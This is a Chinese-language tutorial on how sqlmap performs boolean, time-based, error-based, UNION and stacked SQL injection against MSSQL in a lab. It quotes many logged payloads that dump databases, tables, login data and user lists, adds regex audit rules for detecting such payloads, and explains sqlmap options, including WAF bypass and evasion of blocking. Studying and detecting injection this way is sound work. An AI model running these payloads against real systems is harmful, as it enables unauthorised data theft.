SQLMAP的几种注入类型:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。B
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。T
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

布尔盲注


根据Sqlmap的基础知识,SQL默认是risk 1,而只有指定risk 3的时候才会尝试OR语句,默认只会尝试And语句。例如

[08:47:39] [PAYLOAD] xxxxx) AND 6520=5100 AND (1675=1675
[08:47:39] [PAYLOAD] xxxxx) AND 7962=7962 AND (1208=1208
[08:47:39] [PAYLOAD] xxxxx AND 4322=1496
[08:47:39] [PAYLOAD] xxxxx AND 7962=7962
[08:47:39] [PAYLOAD] xxxxx') AND 4890=2057 AND ('GECz'='GECz
[08:47:39] [PAYLOAD] xxxxx') AND 7962=7962 AND ('BSfL'='BSfL
[08:47:39] [PAYLOAD] xxxxx' AND 4048=3117 AND 'Uuva'='Uuva
[08:47:39] [PAYLOAD] xxxxx' AND 7962=7962 AND 'xLPH'='xLPH
[08:47:39] [PAYLOAD] xxxxx%' AND 9495=9814 AND '%'='
[08:47:39] [PAYLOAD] xxxxx%' AND 7962=7962 AND '%'='
[08:47:39] [PAYLOAD] xxxxx AND 9806=4934-- GFoG
[08:47:39] [PAYLOAD] xxxxx AND 7962=7962-- UcZg

那么如果我提供的参数值本身就没有查询结果的话,那么默认的Risk 1是无法布尔盲注的。
比如我提供的参数是xxxxx,对应的SQL查询结果是空,那么Sqlmap检测结果是:

[08:47:42] [WARNING] GET parameter 'name' does not seem to be injectable

而我提供的参数值是xxxx,对应的SQL查询结果不为空,那么sqlmap检测结果是:

GET parameter 'name' is vulnerable.

如果设置risk 3,就可以了,但这个有个sqlmap的BUG。这里我的sqlmap语句如下:

python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx -v 5 --technique B --current-user --batch --risk 3

这个新增加的Payload如下:

[09:33:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:33:53] [PAYLOAD] -5078
[09:33:53] [PAYLOAD] -2608) OR 2699=5250 AND (3310=3310
[09:33:53] [PAYLOAD] -4971) OR 5141=5141 AND (2563=2563
[09:33:53] [PAYLOAD] -6986 OR 8399=1391
[09:33:53] [PAYLOAD] -9601 OR 5141=5141
[09:33:53] [PAYLOAD] -8424') OR 1834=6799 AND ('CjOY'='CjOY
[09:33:53] [PAYLOAD] -1911') OR 5141=5141 AND ('NRjr'='NRjr
[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS

我们看这两条

[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS

这里返回的Content-Length明显是不同的,如下:

[09:33:53] [PAYLOAD] -5078 (Content-Length:270)
[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU(Content-Length:270)
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS(Content-Length:327)

但是sqlmap没有检测出来,而当我加上–level 3时就可以检测出来了,Payload如下:

[11:32:47] [PAYLOAD] xxxxx' OR NOT 6885=9476-- KlLn
[11:32:47] [PAYLOAD] xxxxx' OR NOT 8732=8732-- cyBv
[11:32:47] [INFO] GET parameter 'name' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable

可以看到添加上NOT就可以了,实际添加NOT和不添加NOT应该是没区别的,但是默认的–level 1就无法检测出来。
这里我在Mysql中也测试过,默认的–level 1就可以检测出注入

[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS
[09:33:53] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")

应该是一个BUG,以后跑SQL注入还是加上–level 3参数比较好,虽然会比较费时。

用户
SYSTEM_USER

[11:40:18] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1))>64 AND 'HuvO'='HuvO

数据库
DB_NAME()

[11:46:18] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>64 AND 'kWIl'='kWIl

所有数据库

[11:47:39] [INFO] fetching number of databases //获取数据库数量
[11:47:39] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))>51 AND 'ijOE'='ijOE

然后逐个获取数据库名称

[11:47:40] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases ORDER BY name) ORDER BY name),6,1))>96 AND 'KIgW'='KIgW

test数据库的所有表

[13:57:27] [INFO] fetching tables for database: test
[13:57:27] [INFO] fetching number of tables for database 'test' //获取表数量
[13:57:27] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>50 AND 'GRfH'='GRfH

然后逐个获取表名称

[13:57:27] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>64 AND 'aghv'='aghv

test库LoginInfo表的字段

[14:06:35] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[14:06:35] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns WHERE id=(SELECT id FROM test..sysobjects WHERE name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111))),1,1))>51 AND 'uOuB'='uOuB

然后逐个获取字段名称

[14:06:35] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111) AND test..syscolumns.name NOT IN (SELECT TOP 0 test..syscolumns.name FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111) ORDER BY test..syscolumns.name) ORDER BY test..syscolumns.name),2,1))>104 AND 'dLNO'='dLNO

test库LoginInfo表的数据
下面来看一下MSSQL是如何dump数据的
首先获取表的行数

[14:27:50] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[14:27:50] [INFO] fetching number of entries for table 'LoginInfo' in database 'test'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'VdVA'='VdVA
[14:27:50] [INFO] retrieved: 4

可以看到共有4行数据,然后sqlmap会尝试获取4个字段的不重复数据的数量看是否等于4,例如这里我的测试数据如下:

+----+------------+------------+
| id | name | class |
+----+------------+------------+
| 12 | hehe | haha |
| 2 | test | test |
| 1 | xxxx | oooo |
| 2 | 文森特 | 6666 |
+----+------------+------------+

可以看到第一个字段id的值有重复的,我们来看下sqlmap的语句

[14:27:50] [INFO] fetching number of distinct values for column 'id'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(id)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'XKGF'='XKGF
...
[14:27:50] [INFO] retrieved: 3

可以看到获取到id字段的不重复数据有3条,小于4,那么sqlmap会接着查找。

[14:27:50] [INFO] fetching number of distinct values for column 'name'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(name)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'sAPJ'='sAPJ
...
[14:27:51] [INFO] retrieved: 4
[14:27:51] [INFO] using column 'name' as a pivot for retrieving row data

可以看到name字段不重复数据有4条,那么后续就使用name字段作为标准。
然后通过比较逐个字符二分查找获取第一个name值

[14:27:51] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(32)),1,1))>64 AND 'BLxX'='BLxX
[14:27:52] [INFO] retrieved: hehe

然后以name=hehe为条件获取其他字段的内容,如下:

[15:06:20] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MAX(ISNULL(CAST(class AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name) LIKE CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)),10,1))>31 AND 'mPXD'='mPXD

然后获取第二个name值

[15:06:20] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)),1,1))>64 AND 'sGdV'='sGdV
....
[15:06:22] [INFO] retrieved: test

然后以name=test为条件获取其他字段的内容,以此类推。

而如果数据库中的确有两条数据是这样的:

会提示
[18:57:55] [WARNING] no proper pivot column provided (with unique values). It won’t be possible to retrieve all rows

时间盲注


语句与布尔盲注类似
xxxx’ IF 1=1 waitfor delay ‘0:0:1’ —
然后也是利用逐字符比较

 

堆查询注入


与时间盲注相同,多了个;

 

报错注入


报错注入会将错误信息回显到Web页面中,所有不用逐个字符读取,速度要快上很多。
test库LoginInfo表的字段数

[16:19:57] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[16:19:57] [PAYLOAD] xxxx' AND 7690 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- iyOJ
[16:19:58] [INFO] the SQL query used returns 3 entries

获取条数

[16:19:58] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[16:19:58] [PAYLOAD] xxxx' AND 3033 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- LSFE
[16:19:58] [INFO] retrieved: 4

通过比对发现name的不重复值数量等于4,所以使用name作为条件标准。

[16:19:58] [INFO] fetching number of distinct values for column 'id'
[16:19:58] [PAYLOAD] xxxx' AND 3330 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(id)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- YKQR
[16:19:58] [INFO] retrieved: 3
[16:19:58] [DEBUG] performed 1 queries in 0.02 seconds
[16:19:58] [INFO] fetching number of distinct values for column 'name'
[16:19:58] [PAYLOAD] xxxx' AND 4123 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(name)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- aXVU
[16:19:58] [INFO] retrieved: 4
[16:19:58] [DEBUG] performed 1 queries in 0.02 seconds
[16:19:58] [INFO] using column 'name' as a pivot for retrieving row data

然后获取第一个name值

[16:19:58] [PAYLOAD] xxxx' AND 2099 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)))),1,1024) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(32))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- TCBc
[16:19:58] [INFO] retrieved: hehe

获取name=hehe的其他字段

[16:19:58] [PAYLOAD] xxxx' AND 1011 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((MAX(ISNULL(CAST(id AS NVARCHAR(4000)),CHAR(32)))),1,1024) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name) LIKE CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- rTmM
[16:19:58] [INFO] retrieved: 12
....

Union注入


Sqlmap使用union select dump数据的时候,会使用SELECT class, id, name FROM test.dbo.LoginInfo FOR XML RAW, BINARY 来一次获取多行的数据。
例如获取字段

[19:06:14] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[19:06:14] [PAYLOAD] xxxx' UNION ALL SELECT NULL,(SELECT test..syscolumns.name AS bpgi,TYPE_NAME(test..syscolumns.xtype) AS dkrn FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name='LoginInfo' FOR XML RAW, BINARY BASE64),NULL-- zkKO

返回内容如下:

<row nxkz="id" mbxs="int"/><row nxkz="name" mbxs="nchar"/><row nxkz="class" mbxs="nchar"/>

例如获取数据

[19:06:14] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[19:06:14] [PAYLOAD] xxxx' UNION ALL SELECT NULL,(SELECT class, id, name FROM test.dbo.LoginInfo FOR XML RAW, BINARY BASE64),NULL-- nlRQ

返回内容如下

<row class="oooo " id="1" name="xxxx "/><row class="zzzz " id="1" name="yyyy "/><row class="haha " id="12" name="hehe "/><row class="haha " id="2" name="xxxx "/>

审计规则


((?i)(sys(databases|objects|columns)|information_schema))
((?i)(xp_(cmdshell|regwrite|regread|dirtree)|sp_(configure|makewebtask|OACreate|OAMethod|addlogin|addsrvrolemember|password)|openrowset))
((?i)(WAITFOR\s{1,10}(DELAY|TIME)))
((?i)((IS_SRVROLEMEMBER|IS_MEMBER|HAS_DBACCESS|db_name|suser_sname|SERVERPROPERTY)\s{0,10}\())
((?i)(convert\s{0,10}\(\s{0,10}int))
((?i)(ISNULL\s{0,10}\(\s{0,10}CAST))
((?i)((unicode|ascii)\s{0,10}\(\s{0,10}substring\s{0,10}\())
((?i)((char\(\d{1,3}\)\+?){3,}))
((?i)((NULL,){3,}))
((?i)FOR XML RAW)

 

当给sqlmap这么一个url的时候,它会:

1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

sqlmap下载地址:
https://github.com/sqlmapproject/sqlmap/tarball/master

参数:-v
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:

0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

参数:-u
格式:http(s)://targeturl[:port]/[…] 例如:python sqlmap.py -u “http://www.target.com/vuln.php?id=1” -f –banner –dbs –users

参数:-l
例如从Burp里获取请求记录,首先勾选记录请求

我们使用DVWA做测试,看一下文本内容

 

使用sqlmap批量测试

E:\Python27\sqlmap-master>python sqlmap.py -l F:\security\Tools\burpsuite\plugins\sqlmap.txt --batch

结果在csv中查看

参数:-m
文件中保存url格式如下,sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

参数:-r
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用,或者你可以在Host头后面加上:443

参数:-g
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
例子:

python sqlmap.py -g "inurl:\".php?id=1\""

参数:–data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

参数:–param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在以下两个方面很有用:
1、web应用需要登陆的时候。
2、你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。
当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

参数:–user-agent,–random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。很多安全检测设备都会匹配UA中是否有sqlmap字符。
当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

参数:–referer
sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

参数:–headers
可以通过–headers参数来增加额外的http头

参数:–auth-type,–auth-cred
这些参数可以用来登陆HTTP的认证保护支持三种方式:
1、Basic
2、Digest
3、NTLM

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

参数:–auth-cert
当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。
key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

参数:–proxy,–proxy-cred和–ignore-proxy
使用–proxy代理是格式为:http://url:port。
当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password。
–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

参数:–delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

参数:–timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

参数:–retries
当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

参数:–randomize
可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

参数:–scope
利用正则过滤目标网址

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

参数:–safe-url,–safe-freq
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
绕过这个策略有两种方式:
1、–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

参数:–skip-urlencode
根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。

参数:–eval
在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

参数:-p,–skip

sqlmap默认测试所有的GET和POST参数
当–level的值大于等于2的时候也会测试HTTP Cookie头的值
当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。
但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-agent”
当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。
–skip=”user-agent.referer”

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*
python sqlmap.py -u “http://targeturl/param1/value1*/param2/value2/”
sqlmap将会测试value1的位置是否可注入。

参数:–dbms
默认情况系sqlmap会自动的探测web应用后端的数据库是什么

参数:–os
默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

参数:–invalid-bignum
指定无效的大数字,当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

参数:–invalid-logical
指定无效的逻辑,原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

参数:–prefix,–suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

参数:–tamper
sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过WAF等设备。

参数:–level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

参数:–risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

参数:–string,–not-string,–regexp,–code
默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。
用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。

参数:–text-only,–titles
有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。

参数:–technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

参数:–time-sec
当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。

参数:–union-cols
设定UNION查询字段数,默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候会增加测试到50个字段数。
设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

参数:–union-char
设定UNION查询使用的字符,默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char只定UNION查询的字符。如下:

[10:34:49] [PAYLOAD] -6899 UNION ALL SELECT 'xxoo','xxoo','xxoo'-- lozE

参数:–second-order
二阶SQL注入,有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后面跟一个判断页面的URL地址。

参数:-b,–banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

web application technology: JSP
back-end DBMS operating system: Windows 2008 R2 or 7 Service Pack 1
back-end DBMS: Microsoft SQL Server 2008
banner:
---
Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64)
Aug 19 2014 12:21:34
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service
Pack 1) (Hypervisor)
---

参数:-current-user
返还当前连接的用户,MSSQL测试如下

[10:49:37] [PAYLOAD] xxxxx') UNION ALL SELECT NULL,CHAR(113)+CHAR(120)+CHAR(120)+CHAR(98)+CHAR(113)+ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(107)+CHAR(98)+CHAR(106)+CHAR(113),NULL-- thHw
[10:49:37] [WARNING] reflective value(s) found and filtering out
[10:49:37] [DEBUG] performed 1 queries in 0.04 seconds
current user: 'sa'

参数:–current-db
返还当前连接的数据库,MSSQL测试如下

[10:49:12] [PAYLOAD] xxxxx') UNION ALL SELECT NULL,CHAR(113)+CHAR(120)+CHAR(120)+CHAR(98)+CHAR(113)+ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(107)+CHAR(98)+CHAR(106)+CHAR(113),NULL-- ckhH
[10:49:12] [DEBUG] performed 1 queries in 0.02 seconds
current database: 'test'

参数:–is-dba
判断当前的用户是否为管理,是的话会返回True,MSSQL测试如下

[10:46:50] [PAYLOAD] xxxxx') UNION ALL SELECT NULL,CHAR(113)+CHAR(112)+CHAR(107)+CHAR(107)+CHAR(113)+(CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(118)+CHAR(113),NULL-- jPzp
[10:46:50] [WARNING] reflective value(s) found and filtering out
[10:46:50] [DEBUG] performed 1 queries in 0.05 seconds
current user is DBA: True

参数:–users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有用户,MSSQL测试如下

[10:56:13] [PAYLOAD] xxxxx') UNION ALL SELECT NULL,CHAR(113)+CHAR(112)+CHAR(120)+CHAR(118)+CHAR(113)+ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(118)+CHAR(120)+CHAR(118)+CHAR(113),NULL FROM sys.sql_logins-- Aqcm
[10:56:13] [DEBUG] performed 1 queries in 0.02 seconds
database management system users [4]:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] sa
[*] vinc

参数:–passwords
当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
